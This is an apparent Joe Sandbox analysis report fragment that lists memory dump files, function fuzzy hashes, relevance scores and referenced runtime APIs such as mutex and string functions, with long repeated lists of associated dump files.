Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e15ae788393300bc3207615a477efe4e374e2ea2abe02bcb5f5476560e03a333
Instruction ID: e730d1ea80a8fac63df205e990577fb61891ec14bca229b1bbf8c4a13162649b
Opcode Fuzzy Hash: e15ae788393300bc3207615a477efe4e374e2ea2abe02bcb5f5476560e03a333
Instruction Fuzzy Hash: C621B673F2043947770CC47E8C5327DB6E1C78C541745423AE8A6EA2C1D968D917E2E4

Function 0015779B Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872a0c442b8500cc020ce84172594552b57a1a9c2036adea467ca42acf151d17
Instruction ID: 657df4ed0a03ca3ea5b804bd407ad8d4f96d82adc96f2a50feab62ad0aa791ee
Opcode Fuzzy Hash: 872a0c442b8500cc020ce84172594552b57a1a9c2036adea467ca42acf151d17
Instruction Fuzzy Hash: 9D118623F30C255B775C816D8C172BAA5D2EBD825071F533AD826EB2C4E9A4DE23D290

Function 00158860 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction ID: 6383496316cc1d522ed98e1bd38beea588271d137f6da2cc4bd245cffef5759a
Opcode Fuzzy Hash: 69368e33383e1e94eef2ceab35efabe13634146fb6e6488aa9fcdc9ed388e530
Instruction Fuzzy Hash: 3D112B77200182C3E608862DC8F46B7E795EBC53237AD437AD971BF758DB22E94D9600

Function 0014A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction ID: 09f95e1abbca3a3816b751a01e4daa806a0dd407a1af0bab0a0aa8b7f0291ee9
Opcode Fuzzy Hash: 8bfb7b8e78c370f2913f61a25c6defe040cdd2114a4e27868ad6e7523cb31ccb
Instruction Fuzzy Hash: ACE04632965228EBCB14DF98894498AB3ACEB49B00BA60096B501D3160D370EE00C7D0

Function 00112EC0 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00112F5F
__Mtx_unlock.LIBCPMT ref: 00112FCC
__Cnd_broadcast.LIBCPMT ref: 00112FE3
__Mtx_unlock.LIBCPMT ref: 001130F5
__Mtx_unlock.LIBCPMT ref: 0011319B

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074863146.00000000002E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075290131.00000000002FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075480023.00000000002FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.00000000002FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075514814.000000000030B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075587932.0000000000310000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075635252.0000000000311000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075652424.0000000000312000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075673686.0000000000314000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075695270.000000000031E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075714763.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075737142.000000000033E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075761537.000000000034F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075786792.0000000000365000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075807234.000000000036D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075827981.000000000036E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075848605.0000000000373000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075871086.000000000037B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075892858.0000000000380000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075913827.0000000000381000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075935328.0000000000384000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075955119.000000000038B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075974224.000000000038D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2075995723.0000000000399000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076014811.000000000039A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076036949.000000000039B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076086255.000000000039F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076169783.00000000003A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076217141.00000000003A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076256003.00000000003AD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076295676.00000000003B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076332769.00000000003CD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076351456.00000000003EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076574545.000000000041C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076656497.000000000041D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076793694.000000000041E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076831705.0000000000423000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076954096.0000000000425000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076994681.0000000000433000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077030569.0000000000434000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: b84f3f650ebf70c47f099af4dfe54435d67a85edca182d18963f6986622d062f
Instruction ID: 2529d3b87023804e1ae737dc0e953ad0de92d9068ff28162d431c1e3f6bd1844
Opcode Fuzzy Hash: b84f3f650ebf70c47f099af4dfe54435d67a85edca182d18963f6986622d062f
Instruction Fuzzy Hash: 08A1EFB0A00215EFDB18DF64D844B9AB7E8FF28320F148139E925D7241EB31EA94CBD1

Function 0014CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0014CC66

Memory Dump Source

Source File: 00000000.00000002.2070701830.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2070511364.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070701830.0000000000172000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071587890.0000000000179000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071784563.000000000017B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071946864.0000000000185000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072151564.0000000000186000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2072315120.0000000000187000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073649563.00000000002E2000.00000040.00000001.01000000.00000003.sdmpDownload File
